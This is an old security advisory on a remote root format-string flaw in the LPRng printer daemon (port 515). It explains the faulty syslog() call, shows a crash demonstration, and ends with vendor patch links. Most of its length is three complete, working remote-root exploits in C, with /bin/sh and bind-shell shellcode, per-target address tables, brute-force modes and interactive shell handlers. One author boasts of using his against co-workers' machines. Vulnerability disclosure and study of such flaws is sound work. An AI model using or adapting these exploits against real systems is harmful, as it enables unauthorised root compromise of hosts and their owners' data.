COMMAND

    LPRng

SYSTEMS AFFECTED

    LPRng

PROBLEM

    There  is  a  format  bug  in  the LPRng printer daemon that could
    possibly be exploited to obtain  root privilege.  This problem  is
    particulary severe because it can be exercised remotely.

    This bugs  has been  found originally  by Chris  Evans.   LPRng is
    almost certainly vulnerable  to remote-root compromise  on account
    of a  format string  bug.   The flaw  is almost  identical to  the
    rpc.statd one; namely a faulty syslog() wrapper.  This is becoming
    a very common flaw.  Here is a code excerpt from:

        /LPRng-3.6.22/src/common/errormsg.c, use_syslog()
        ---
        static void use_syslog(int kind, char *msg)
        ...
        # ifdef HAVE_OPENLOG
                /* use the openlog facility */
                openlog(Name, LOG_PID | LOG_NOWAIT, SYSLOG_FACILITY );
                syslog(kind, msg);
                closelog();

        # else
            (void) syslog(SYSLOG_FACILITY | kind, msg);
        # endif                                                 /* HAVE_OPENLOG */
        ...
        ---

    Here we see two classic  format string bugs.  Both  syslog() calls
    are missing a "%s" format string argument.

    But how exploitable is this? Does the daemon log any use  supplied
    data?   Let's  do  a  test  on  the  extremely  recently  released
    RedHat7.0, which has switched to LPRng.

        [chris@localhost chris]$ telnet localhost printer
        Trying 127.0.0.1...
        Connected to localhost.localdomain (127.0.0.1).
        Escape character is '^]'.
        Mary had a little lamb.
        Connection closed by foreign host.

        ...

        grep lamb /var/log/messages
        Sep 24 07:38:36 localhost SERVER[1282]: Dispatch_input: bad request line
        'Mary had a little lamb.^M'

        ...

    Well, how  obliging of  (particular version)  of LPRng  to log any
    input line one gives it.

    Just to confirm %'s cause trouble:

        Client:
        [chris@localhost chris]$ telnet localhost printer
        Trying 127.0.0.1...
        Connected to localhost.localdomain (127.0.0.1).
        Escape character is '^]'.
        %s%s%s%s%s%s%s%s%s%s

    Server:

        Program received signal SIGSEGV, Segmentation fault.
        0x400f7c66 in _IO_vfprintf (s=0x80c53a0,
            format=0xbffff190 "Dispatch_input: bad request line
        '%s%s%s%s%s%s%s%s%s%s^M'", ap=0xbfffed0c) at
        ../sysdeps/i386/i486/bits/string.h:529
        (gdb) bt
        #0  0x400f7c66 in _IO_vfprintf (s=0x80c53a0,
            format=0xbffff190 "Dispatch_input: bad request line
        '%s%s%s%s%s%s%s%s%s%s^M'", ap=0xbfffed0c) at
        ../sysdeps/i386/i486/bits/string.h:529
        #1  0x4017d60b in vsyslog (pri=6,
            fmt=0xbffff190 "Dispatch_input: bad request line
        '%s%s%s%s%s%s%s%s%s%s^M'", ap=0xbfffed08) at syslog.c:193
        #2  0x4017d447 in syslog (pri=6,
            fmt=0xbffff190 "Dispatch_input: bad request line
        '%s%s%s%s%s%s%s%s%s%s^M'")
            at syslog.c:102
        ...

    The program has root privs at this time;

        (gdb) print geteuid()
        $1 = 4                   <-- initially encouraging
        (gdb) print getuid()
        $2 = 0                   <-- depressing

    And now, the exploits.  Here is the first one:

    /* LPRng remote root exploit for x86 Linux
     * 9/27/00
     *
     * - sk8
     * tested on compiled LPRng 3.6.22/23/24
     *
     */
    #include <unistd.h>
    #include <stdio.h>

    char sc[]=
    "\x29\xdb\x29\xc0\x29\xd2\x31\xc9\xfe\xca\xb0\x46\xcd\x80\x29\xff"
    "\x47\x47\x47\x43\x43\x43\x31\xc9\x29\xc0\xb0\x3f\xcd\x80\x41\x39"
    "\xf9\x75\xf5\x39\xd3\x7e\xee\xeb\x19\x5e\x89\xf3\x89\xf7\x83\xc7"
    "\x07\x31\xc0\xaa\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x0b"
    "\xcd\x80\xe8\xe2\xff\xff\xff/bin/sh"
    ;
    #define NOP 0x90 //will be split up, doesn't matter
    int main(int argc, char** argv) {
     char getbuf[1000];
     int bpad=0; /* was 2 */ /* 3 for other */
     /* 2 - -34
        3 - -41
        0 - -42
     */
     int i=0;
     int eiploc=0x41424344;
     char buffer[1024];
     char fmtbuf[128];
     int shloc=-1; //0xbffff2c8;
     int hi=100;
     int lo=200;
     int pre=0;
     int align=-36;


     int pos=511; //483; //488; /*299;*/
     int debug=0;
     char s=0;
     char mode='n';

     while ( ( s=getopt(argc, argv, "a:b:e:s:p:d")) != EOF) {
      switch(s) {
       case 'a': align=atoi(optarg); break;
       case 'b': bpad=atoi(optarg);
         break;
       case 'e': eiploc=strtoul(optarg, 0,0);
         break;
       case 's': shloc=strtoul(optarg, 0, 0);
         break;
       case 'p': pos=atoi(optarg); break;
       case 'd': debug=1; break;
       default:
      }
     }
     if (shloc == -1) shloc=eiploc+2450;

     memset(buffer, 0, sizeof(buffer));
     memset(fmtbuf, 0, sizeof(fmtbuf));

     memset(buffer, 'B', bpad);
     *(long*)(buffer+strlen(buffer))=eiploc+2;
     *(long*)(buffer+strlen(buffer))=0x50505050;
     *(long*)(buffer+strlen(buffer))=eiploc;
     pre=strlen(buffer);

     if (debug) { mode='p'; hi=100; lo=100; }
     else {
      hi=((shloc >> 16)&0xffff)-pre+align; /* was no 7 */
      lo=((shloc >> 0)&0xffff)+0x10000-((shloc >> 16)&0xffff);
     }
     sprintf(fmtbuf, "%%%dd%%%d$h%c%%%dd%%%d$h%c", hi, pos, mode, lo, pos+2,
    mode);
     strcat(buffer+strlen(buffer), fmtbuf);
     /* make it easier to hit shellcode */
     memset(buffer+strlen(buffer), NOP, 385);
     strcat(buffer, sc);
     *(char*)(buffer+strlen(buffer))=0;

     fprintf(stderr, "strlen(fmtbuf): %i\n", strlen(fmtbuf));
     fprintf(stderr, "pos: %i\n", pos);
     fprintf(stderr, "align: %i\n", align);
     fprintf(stderr, "eip location: 0x%x\n", eiploc);
     fprintf(stderr, "shellcode location: 0x%x\n", shloc);
     fprintf(stderr, "strlen(sc): %i\n", strlen(sc));
     fprintf(stderr, "strlen(buffer): %i\n", strlen(buffer));
     printf("%s", buffer);
     putchar('\n');
    }

    Another one:

    /*
     *  Copyright (c) 2000 - Security.is
     *
     *  The following material may be freely redistributed, provided
     *  that the code or the disclaimer have not been partly removed,
     *  altered or modified in any way. The material is the property
     *  of security.is. You are allowed to adopt the represented code
     *  in your programs, given that you give credits where it's due.
     *
     * security.is presents: LPRng/Linux remote root lpd exploit.
     *
     * Author: DiGiT - teddi@linux.is
     *
     * Thanks to: portal for elite formatstring talent ;>
     * Greets to: security.is, #!ADM
     *
     * Wrote it because I wanted to hack my co-workers machines ;>
     *
     * Run: ./SEClpd victim brute -t type
     *
     */


    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    #include <sys/stat.h>
    #include <sys/types.h>
    #include <fcntl.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include <netdb.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>


    #define ADDRESS_BUFFER_SIZE   32+4
    #define APPEND_BUFFER_SIZE    52
    #define FORMAT_LENGTH         512-8
    #define NOPCOUNT       200
    #define SHELLCODE_COUNT       1030
    #define DELAY               50000 /* usecs */
    #define OFFSET_LIMIT       5000

    char shellcode[] =

      "\x31\xdb\x31\xc9\x31\xc0\xb0\x46\xcd\x80"
      "\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
      "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
      "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
      "\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
      "\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
      "\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
      "\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
      "\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";



    struct target
     {
      char *os_name;
      u_long eip_address;
      u_long shellcode_address;
      unsigned int position;
      int written_bytes;
      int align;
    };

    struct target targets[] =
     {
      { "RedHat 7.0 - Guinesss    ", 0xbffff3ec, 0L, 300, 70, 2,         },
      { "RedHat 7.0 - Guinesss-dev", 0xbffff12c, 0L, 300, 70, 2,         },
       {
         NULL, 0L, 0L, 0, 0, 0
      }
    };


    static char address_buffer[ADDRESS_BUFFER_SIZE+1];
    static char append_buffer[APPEND_BUFFER_SIZE+1];
    static char shellcode_buffer[1024];
    static char *hostname=NULL;
    static int offset;
    static struct hostent *he;
    int type=-1;
    int brute=-1, failure=1;

    void calculate_rets(u_long eip_addr, u_long shellcode_addr, u_int
    previous, u_int addr_loc)
    {
       int i;
       unsigned int tmp = 0;
       unsigned int copied = previous;
       unsigned int num[4] =
       {
          (unsigned int) (shellcode_addr & 0x000000ff),
          (unsigned int)((shellcode_addr & 0x0000ff00) >> 8),
          (unsigned int)((shellcode_addr & 0x00ff0000) >> 16),
          (unsigned int)((shellcode_addr & 0xff000000) >> 24)
       };

       memset (address_buffer, '\0', sizeof(address_buffer));
       memset (append_buffer, '\0', sizeof(append_buffer));

       for (i = 0; i < 4; i++)
       {
          while (copied > 0x100)
             copied -= 0x100;

          if ( (i > 0) && (num[i-1] == num[i]) )
             sprintf (append_buffer+strlen(append_buffer), "%%%d$n", addr_loc+i);
          else if (copied < num[i])
          {
             if ( (num[i] - copied) <= 10)
             {
                sprintf (append_buffer+strlen(append_buffer), "%.*s",
                   (int)(num[i] - copied), "security.is!");
                copied += (num[i] - copied);
                sprintf (append_buffer+strlen(append_buffer), "%%%d$n", addr_loc+i);         } else {
                sprintf (append_buffer+strlen(append_buffer), "%%.%du",
                   num[i] - copied);
                copied += (num[i] - copied);
                sprintf (append_buffer+strlen(append_buffer), "%%%d$n", addr_loc+i);         }
          } else {
             tmp = ((num[i] + 0x100) - copied);
             sprintf (append_buffer+strlen(append_buffer), "%%.%du", tmp);
             copied += ((num[i] + 0x100) - copied);
             sprintf (append_buffer+strlen(append_buffer), "%%%d$n", addr_loc+i);
          }

          sprintf (address_buffer+strlen(address_buffer), "%c%c%c%c",
             (unsigned char) ((eip_addr+i) & 0x000000ff),
             (unsigned char)(((eip_addr+i) & 0x0000ff00) >> 8),
             (unsigned char)(((eip_addr+i) & 0x00ff0000) >> 16),
             (unsigned char)(((eip_addr+i) & 0xff000000) >> 24));
       }

       while (strlen(address_buffer) < ADDRESS_BUFFER_SIZE)
          strcat (address_buffer, "X");


    #ifdef DEBUG
       printf ("\nGeneration complete:\nAddress: ");
       for (i = 0; i < strlen(address_buffer); i++)
       {
          if ( ((i % 4) == 0) && (i > 0) )
             printf (".");
          printf ("%02x", (unsigned char)address_buffer[i]);
       }
       printf ("\nAppend: %s\n", append_buffer);
    #endif

       return;
    }

    char *create_malicious_string(void)
    {
       static char format_buffer[FORMAT_LENGTH+1];
       long addr1,addr2;
       int i;

       memset (format_buffer, '\0', sizeof(format_buffer));

            targets[type].shellcode_address = targets[type].eip_address + SHELLCODE_COUNT;

    addr1 = targets[type].eip_address;
            addr2 = targets[type].shellcode_address;
      calculate_rets (addr1, addr2,targets[type].written_bytes, targets[type].position);

       (void)snprintf (format_buffer, sizeof(format_buffer)-1, "%.*s%s",
                       targets[type].align, "BBBB", address_buffer);

       strncpy (address_buffer, format_buffer, sizeof(address_buffer)-1);
       strncpy (format_buffer, append_buffer, sizeof(format_buffer)-1);

       for(i = 0 ; i < NOPCOUNT ; i++)
       strcat(format_buffer, "\x90");

    strcat(format_buffer, shellcode);

       return (format_buffer);
    }

    int connect_victim()
    {

       int sockfd, n;
       struct sockaddr_in s;
       fd_set fd_stat;
       char buff[1024];

      static char testcmd[256] = "/bin/uname -a ; id ;\r\n";

       s.sin_family = AF_INET;
       s.sin_port = htons (3879);
       s.sin_addr.s_addr = *(u_long *)he->h_addr;


       if ((sockfd = socket (AF_INET, SOCK_STREAM, 0)) < 0)
         {
           printf ("--- [5] Unable to create socket!\n");
           printf("Exploit failed!\n");
           return -1;
         }

       if ((connect (sockfd, (struct sockaddr *) &s, sizeof (s))) < 0)
         {
           return -1;
         }

         if(brute)

    printf("+++ The eip_address is 0x%x\n\n", targets[type].eip_address);

         printf("-   [+] shell located on %s\n", hostname);
         printf("-   [+] Enter Commands at will\n\n");

     failure = -1;

     FD_ZERO(&fd_stat);
     FD_SET(sockfd, &fd_stat);
     send(sockfd, testcmd, strlen(testcmd), 0);

     while(1) {

      FD_SET(sockfd,&fd_stat);
      FD_SET(0,&fd_stat);

      if(select(sockfd+1,&fd_stat,NULL,NULL,NULL)<0) break;
      if( FD_ISSET(sockfd, &fd_stat) ) {
       if((n=read(sockfd,buff,sizeof(buff)))<0){
         fprintf(stderr, "EOF\n");
         return 2;
       }

       if(write(1,buff,n)<0)break;
      }
      if ( FD_ISSET(0, &fd_stat) ) {
        if((n=read(0,buff,sizeof(buff)))<0){
          fprintf(stderr,"EOF\n");
          return 2;
        }

        if(send(sockfd,buff,n,0)<0) break;

       }
      }
    }


    void send_code(char *exploit_buffer)
    {

       int sockfd, n;
       struct sockaddr_in s;
       fd_set fd_stat;
       char recv[1024];
       static char testcmd[256] = "/bin/uname -a ; id ;\r\n";

       s.sin_family = AF_INET;
       s.sin_port = htons (515);
       s.sin_addr.s_addr = *(u_long *)he->h_addr;



       if ((sockfd = socket (AF_INET, SOCK_STREAM, 0)) < 0)
         {
           printf ("--- [5] Unable to create socket!\n");
           printf("Exploit failed!\n");
           exit(-1);
         }

       if ((connect (sockfd, (struct sockaddr *) &s, sizeof (s))) < 0)
         {
           printf ("--- [5] Unable to connect to %s\n", hostname);
           printf("Exploit failed, %s is not running LPD!\n", hostname);
           exit(-1);
         }


    usleep(DELAY);

    if(write (sockfd, exploit_buffer, strlen(exploit_buffer)) < 0)
              {
                 printf ("Couldn't write to socket %d", sockfd);
         printf ("Exploit failed\n");
                 exit(2);
             }

    close(sockfd);
    connect_victim();

       }




    void usage(char *program)
    {

     int i=0;

       printf("SEClpd by DiGiT of ADM/security.is ! \n\n");
       printf("Usage: %s victim [\"brute\"] -t type [-o offset] [-a align] [-p position] [-r eip_addr] [-c shell_addr] [-w written_bytes] \n\n", program);
       printf("ie: ./SEClpd localhost -t 0 For most redhat 7.0 boxes\n");
       printf("ie: ./SEClpd localhost brute -t 0 For brute forcing all redhat 7.0 boxes\n");
       printf("Types:\n\n");

       while( targets[i].os_name != NULL)
          printf ("[ Type %d:  [ %s ]\n", i++, targets[i].os_name);
    }

    int main(int argc, char **argv)
    {

       char exploit_buffer[1024];
       char *format = NULL;
       int c, brutecount=0;



    if(argc < 3)
      {
        usage(argv[0]);
        return 1;
     }

          hostname = argv[1];

    if(!strncmp(argv[2], "brute", 5)) brute = 1;


          while(( c = getopt (argc, argv, "t:r:c:a:o:p:w:k"))!= EOF){

          switch (c)
            {

             case 't':
                type = atoi(optarg);
                break;

             case 'r':
                targets[type].eip_address = strtoul(optarg, NULL, 16);
                break;

             case 'c':
                targets[type].shellcode_address = strtoul(optarg, NULL, 16);
                break;

             case 'a':
                targets[type].align = atoi(optarg);
                break;

             case 'o':
                offset = atoi(optarg);
                break;

             case 'p':
                targets[type].position = atoi(optarg);
                break;

             case 'w':
                targets[type].written_bytes = atoi(optarg);
                break;

            default:
              usage(argv[0]);
              return 1;
            }
       }

           if(type < 0)
             {
       printf("You must specify a type!\n");
       printf("example: ./SEClpd victim -t 0\n");
       return -1;
            }

       if ( (he = gethostbyname (hostname)) == NULL)
       {
         herror("gethostbyname");
         exit(1);
       }

      targets[type].shellcode_address = targets[type].eip_address + SHELLCODE_COUNT;


       printf("+++ Security.is remote exploit for LPRng/lpd by DiGiT\n\n");
     /* SOLcrew r0x */
       printf("+++ Exploit information\n");
       printf("+++ Victim: %s\n", hostname);
       printf("+++ Type: %d - %s\n", type, targets[type].os_name);
       printf("+++ Eip address: 0x%x\n", targets[type].eip_address);
       printf("+++ Shellcode address: 0x%x\n", targets[type].shellcode_address);
       printf("+++ Position: %d\n", targets[type].position);
       printf("+++ Alignment: %d\n", targets[type].align);
       printf("+++ Offset %d\n", offset);
       printf("\n");

       printf("+++ Attacking %s with our format string\n", hostname);

    if( brute > 0 )
     {

      printf("+++ Brute force man, relax and enjoy the ride ;>\n");
       targets[type].eip_address =  0xbffffff0;

     while(failure)

      {
    memset(exploit_buffer, '\0', sizeof(exploit_buffer));

       format = create_malicious_string();
       strcpy(exploit_buffer, address_buffer);
       strcat(exploit_buffer, format);
       strcat(exploit_buffer, "\n");
       send_code(exploit_buffer);

    targets[type].eip_address = 0xbffffff0 - offset;

      offset+=4;

        if (offset > OFFSET_LIMIT) {
            printf("+++ Offset limit hit, ending brute mode ;<\n");
            return -1;

           }
        }
    }


    else

       format = create_malicious_string();
       strcpy(exploit_buffer, address_buffer);
       strcat(exploit_buffer, format);
       strcat(exploit_buffer, "\n");
       send_code(exploit_buffer);

    printf("Argh exploit failed$#%! try brute force!\n");

       return (-1);
    }

    Yet another one:

    /*
     *    REMOTE ROOT EXPLOIT for linux x86 - LPRng-3.6.24-1 (RedHat 7.0)
     *
     * The RedHat 7.0 replaced the BSD lpr with the LPRng package which is
     * vulnerable to format string attacks because it passes information
     * to the syslog incorrectly.
     * You can get remote root access on machines running RedHat 7.0 with
     * lpd running (port 515/tcp) if it is not fixed, of course (3.6.25).
     *
     * bonus: I tested it too on slackware 7.0 with LPRng3.6.22-1, remember
     * is -not- installed by default (isnt a package of the slackware).
     *
     * and,.. this code is for educational propourses only, do not use
     * it on remote machines without authorization.
     *
     * greets: bruj0, ka0z, dn0, #rdC and #flatline
     *
     * coded by venomous of rdC - Argentinian security group.
     * venomous@rdcrew.com.ar
     * http://www.rdcrew.com.ar
     *
     */

    #include <stdio.h>
    #include <string.h>
    #include <netdb.h>
    #include <netinet/in.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <sys/time.h>
    #include <unistd.h>
    #include <errno.h>
    #include <time.h>
    #include <signal.h>

    char shellcode[]= // not mine
    "\x31\xc0\x31\xdb\x31\xc9\xb3\x07\xeb\x67\x5f\x8d\x4f"
    "\x07\x8d\x51\x0c\x89\x51\x04\x8d\x51\x1c\x89\x51\x08"
    "\x89\x41\x1c\x31\xd2\x89\x11\x31\xc0\xc6\x41\x1c\x10"
    "\xb0\x66\xcd\x80\xfe\xc0\x80\x79\x0c\x02\x75\x04\x3c"
    "\x01\x74\x0d\xfe\xc2\x80\xfa\x01\x7d\xe1\x31\xc0\xfe"
    "\xc0\xcd\x80\x89\xd3\x31\xc9\x31\xc0\xb0\x3f\xcd\x80"
    "\xfe\xc1\x80\xf9\x03\x75\xf3\x89\xfb\x31\xc0\x31\xd2"
    "\x88\x43\x07\x89\x5b\x08\x8d\x4b\x08\x89\x43\x0c\xb0"
    "\x0b\xcd\x80\x31\xc0\xfe\xc0\xcd\x80\xe8\x94\xff\xff"
    "\xff\x2f\x62\x69\x6e\x2f\x73\x68";

    void usage(char *prog);
    void makebuffer(char *addr, char *shaddr, int addroffset, int shoffset, int padding , int fsc);
    void sigint();
    void sigalarm();
    void mk_connect(char victim[128], int port);

    char yahoo[1024];

    struct os
    {
	    char *addr;
	    char *shelladdr;
	    char *desc;
	    int addroffset;
	    int shelladdroffset;
	    int pad;
	    int fsc;
    };

    /* generally, the addresses are wrong for a very small value,, i recommend
     * that you bruteforce the retloc + or - by 1..(ex: -50 to +50, steps of 1)
     * if it dont work, try the same but changing the fsc (this is the value
     * of when we start to control the formats strings), start from 290 until
     * 330, it should be enough.
     * and if it still dont work,, :|, try with the offset of the shellcode
     * address, this buffer has nops, so it shouldnt be difficult to guess.
     * make a .sh! :)
     * of course, you can start gdb on your box(es) and dont guess nothing
     * just inspect the program and get the correct values!
     *
     * -venomous
     */

    struct os target[]=
    {
	    {"0xbfffee30", "0xbffff640", "Slackware 7.0 with LPRng-3.6.22.tgz - started from shell", 0, 0, 2, 299},
            {"0xbffff0f0", "0xbffff920", "RedHat 7.0 (Guinness) with LPRng-3.6.22/23/24-1 from rpm - glibc-2.2-5", 0, 0, 2, 304},
            {NULL,NULL,NULL,0,0}
    };


    main(int argc, char *argv[])
    {
        int port=515,
        so=0,
        padding=0,
        retlocoffset=0,
        shellcodeoffset=0,
        fscT=0;

        char arg,
            victim[128],
        rl[128],
        sh[128];


        if(argc < 3)
            usage(argv[0]);

        bzero(victim,sizeof(victim));
        bzero(rl,sizeof(rl));
        bzero(sh,sizeof(sh));

        while ((arg = getopt(argc, argv, "h:p:r:s:t:P:R:S:c")) != EOF)
        {
            switch(arg)
            {
            case 'h':
                strncpy(victim,optarg,128);
                break;
            case 'p':
                port = atoi(optarg);
                break;
            case 'r':
                strncpy(rl,optarg,128);
                break;
            case 's':
                strncpy(sh,optarg,128);
                break;
            case 't':
                so = atoi(optarg);
                break;
            case 'P':
                padding = atoi(optarg);
                break;
            case 'R':
                retlocoffset = atoi(optarg);
                break;
            case 'S':
                shellcodeoffset = atoi(optarg);
                break;
            case 'c':
                fscT = atoi(optarg);
                break;
            default:
                usage(argv[0]);
                break;
            }
        }

        if(strlen(victim) == 0)
            usage(argv[0]);

        if (strcmp(rl,""))
            target[so].addr = rl;

        if (strcmp(sh,""))
            target[so].shelladdr = sh;

        if (retlocoffset != 0)
            target[so].addroffset = target[so].addroffset + retlocoffset;

        if (shellcodeoffset != 0)
            target[so].shelladdroffset = target[so].shelladdroffset + shellcodeoffset;

        if (padding != 0)
            target[so].pad = target[so].pad + padding;

        if (fscT != 0)
            target[so].fsc = target[so].fsc + fscT;

        signal(SIGINT, sigint);
        makebuffer(target[so].addr, target[so].shelladdr, target[so].addroffset, target[so].shelladdroffset, target[so].pad, target[so].fsc);
        mk_connect(victim, port);

    }

    void makebuffer(char *addr, char *shaddr, int addroffset, int shoffset, int padding, int fsc)
    {
        char *tmp,
        addrtmp[216],
        ot[128];

        int i,b,x,t;
        unsigned long pt;

        char temp[128];
        char a1,a2,a3,a4,a5,a6,a7,a8;
        char fir[12],sec[12],thr[12],f0r[12];
        unsigned long firl,secl,thrl,forl;
        unsigned long pas1,pas2,pas3,pas4;


        bzero(yahoo,sizeof(yahoo));
        bzero(ot,sizeof(ot));
        bzero(addrtmp,sizeof(addrtmp));

        printf("** LPRng remote root exploit coded by venomous of rdC **\n");
        printf("\nconstructing the buffer:\n\n");
        printf("adding bytes for padding: %d\n",padding);
        for(i=0 ; i < padding ; i++)
            strcat(yahoo,"A");

        tmp = addr;
        pt = strtoul(addr, &addr,16) + addroffset;
        addr = tmp;
        printf("retloc: %s + offset(%d) == %p\n", addr, addroffset, pt);
        printf("adding resulting retloc(%p)..\n",pt);
        sprintf(addrtmp, "%p", pt);
        if(strlen(addr) != 10)
        {
            printf("Error, retloc is %d bytes long, should be 10\n",strlen(addr));
            exit(1);
        }

        pt = 0;

        for (i=0 ; i < 4 ; i++)
        {
            pt = strtoul(addrtmp, &addrtmp, 16);
            //strcat(yahoo, &pt);
            bzero(ot,sizeof(ot));
            sprintf(ot,"%s",&pt);
            strncat(yahoo,ot,4);
            pt++;
            sprintf(addrtmp, "%p", pt);
            //printf("addrtmp:%s :yahoo %s\n",addrtmp,yahoo);
        }

        tmp = shaddr;
        pt = 0;
        pt = strtoul(shaddr,&shaddr,16) + shoffset;
        sprintf(ot,"%p",pt);
        shaddr = ot;

        printf("adding shellcode address(%s)\n", shaddr);
        sscanf(shaddr,"0x%c%c%c%c%c%c%c%c",&a1,&a2,&a3,&a4,&a5,&a6,&a7,&a8);

        sprintf(fir,"0x%c%c",a1,a2);
        sprintf(sec,"0x%c%c",a3,a4);
        sprintf(thr,"0x%c%c",a5,a6);
        sprintf(f0r,"0x%c%c",a7,a8);

        firl = strtoul(fir,&fir,16);
        secl = strtoul(sec,&sec,16);
        thrl = strtoul(thr,&thr,16);
        forl = strtoul(f0r,&f0r,16);

        pas1 = forl - 50 - padding;
        pas1 = check_negative(pas1);

        pas2 = thrl - forl;
        pas2 = check_negative(pas2);

        pas3 = secl - thrl;
        pas3 = check_negative(pas3);

        pas4 = firl - secl;
        pas4 = check_negative(pas4);

        sprintf(temp,"%%.%du%%%d$n%%.%du%%%d$n%%.%du%%%d$n%%.%du%%%d$n",pas1,fsc, pas2, fsc+1, pas3, fsc+2,pas4, fsc+3);
        strcat(yahoo,temp);

        printf("adding nops..\n");
        b = strlen(yahoo);
        for (i=0 ; i < (512-b-strlen(shellcode)) ; i++)
            yahoo[b+i] = '\x90';

        printf("adding shellcode..\n");
        b=+i;
        for (x=0 ; x < b ; x++)
            yahoo[b+x] = shellcode[x];

        strcat(yahoo,"\n");

        printf("all is prepared.. now lets connect to something..\n");

    }

    check_negative(unsigned long addr)
    {
        char he[128];

        sprintf(he,"%d",addr);
        if (atoi(he) < 0)
            addr = addr + 256;
        return addr;
    }

    void mk_connect(char victim[128], int port)
    {
        struct hostent *host;
        struct sockaddr_in den0n;
        int sox;

        den0n.sin_family = AF_INET;
        den0n.sin_port = htons(port);

        host = gethostbyname(victim);
        if (!host)
        {
            printf("cannot resolve, exiting...\n");
            exit(0);
        }

        bcopy(host->h_addr, (struct in_addr *)&den0n.sin_addr, host->h_length);

        sox = socket(AF_INET, SOCK_STREAM, 0);

        signal(SIGALRM, sigalarm);
        alarm(10);

        printf("connecting to %s to port %d\n",host->h_name, port);
        if (connect(sox, (struct sockaddr *)&den0n, sizeof(struct sockaddr)) < 0)
        {
            putchar('\n');
            perror("connect");
            exit(1);
        }
        printf("connected!, sending the buffer...\n\n");
        write(sox, yahoo , strlen(yahoo));
        printf("%s\n", yahoo);
        sleep(1);
        alarm(0);
        runshell(sox);
    }

    int runshell(int sox)
    {
        fd_set  rset;
        int     n;
        char    buffer[4096];

        char *command="/bin/uname -a ; /usr/bin/id\n";


        send(sox, command, strlen(command), 0);

        for (;;) {
            FD_ZERO (&rset);
            FD_SET (sox, &rset);
            FD_SET (STDIN_FILENO, &rset);

            n = select(sox + 1, &rset, NULL, NULL, NULL);
            if(n <= 0)
                return (-1);

            if(FD_ISSET (sox, &rset)) {
                n = recv (sox, buffer, sizeof (buffer), 0);
                if (n <= 0)
                    break;

                write (STDOUT_FILENO, buffer, n);
            }

            if(FD_ISSET (STDIN_FILENO, &rset)) {
                n = read (STDIN_FILENO, buffer, sizeof (buffer));
                if (n <= 0)
                    break;

                send(sox, buffer, n, 0);
            }
        }
        return (0);
    }

    void sigalarm()
    {
        printf("connection timed out, exiting...\n");
        exit(0);
    }

    void sigint()
    {
        printf("CAUGHT sigint, exiting...\n");
        exit(0);
    }


    void usage(char *prog)
    {
        int i;

        printf("\n** LPRng remote root exploit coded by venomous of rdC **\n");
        printf("Usage:\n\n");
        printf("%s [-h hostname] <-p port> <-r addr> <-s shellcodeaddr> <-t type> <-P padding> <-R offset> <-S offset> <-c offset>\n\n", prog);
        printf("-h is the victim ip/host\n");
        printf("-p select a different port to connect, default 515\n");
        printf("-r is the address to overwrite\n");
        printf("-s is the address of the shellcode\n");
        printf("You can use a predefined addr/shellcodeaddr using -t <number>\n\n");
        printf("availables types:\n\n");
        for (i=0 ; target[i].desc != NULL ; i++)
            printf("%d - %s\n",i,target[i].desc);
        printf("\n-P is to define the padding to use, usually 2\n");
        printf("-R the offset to add to <addr>\n");
        printf("-S the offset to add to <shellcodeaddr>\n");
        printf("-c where we start to control the format string\n\n");
        exit(0);
    }

SOLUTION

    The proper solution is to upgrade to the fixed packages.  Patches:

        ftp://ftp.calderasystems.com/pub/updates/OpenLinux/2.3/current/RPMS/
        ftp://ftp.calderasystems.com/pub/updates/OpenLinux/2.3/current/SRPMS
            RPMS/LPRng-3.5.3-3.i386.rpm
            RPMS/LPRng-doc-3.5.3-3.i386.rpm
            RPMS/LPRng-doc-ps-3.5.3-3.i386.rpm
            RPMS/LPRng-lpd-3.5.3-3.i386.rpm
            SRPMS/LPRng-3.5.3-3.src.rpm

        ftp://ftp.calderasystems.com/pub/updates/eServer/2.3/current/RPMS/
        ftp://ftp.calderasystems.com/pub/updates/eServer/2.3/current/SRPMS
            RPMS/LPRng-3.5.3-3.i386.rpm
            RPMS/LPRng-doc-3.5.3-3.i386.rpm
            RPMS/LPRng-doc-ps-3.5.3-3.i386.rpm
            RPMS/LPRng-lpd-3.5.3-3.i386.rpm
            SRPMS/LPRng-3.5.3-3.src.rpm

        ftp://ftp.calderasystems.com/pub/updates/eDesktop/2.4/current/RPMS/
        ftp://ftp.calderasystems.com/pub/updates/eDesktop/2.4/current/SRPMS
            RPMS/LPRng-3.5.3-3.i386.rpm
            RPMS/LPRng-doc-3.5.3-3.i386.rpm
            RPMS/LPRng-doc-ps-3.5.3-3.i386.rpm
            RPMS/LPRng-lpd-3.5.3-3.i386.rpm
            SRPMS/LPRng-3.5.3-3.src.rpm

    For RedHat:

        ftp://updates.redhat.com/7.0/i386/LPRng-3.6.24-2.i386.rpm
        ftp://updates.redhat.com/7.0/SRPMS/LPRng-3.6.24-2.src.rpm

    The  lprng  packages  as  shipped  with SuSE distributions are not
    susceptible to  the attacks  targeting the  format string  parsing
    errors  found  by  Chris  Evans.   SuSE  Linux comes with an lprng
    package version  3.6.12 in  SuSE-6.3, 3.6.13  in 6.4  and back  to
    3.6.12 in 7.0.

    For Trustix Linux:

        - LPRng-3.6.24-1tr.i586.rpm

    For FreeBSD:

        ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-3-stable/sysutils/LPRng-3.6.25.tgz
        ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-4-stable/sysutils/LPRng-3.6.25.tgz
        ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/alpha/packages-4-stable/sysutils/LPRng-3.6.25.tgz
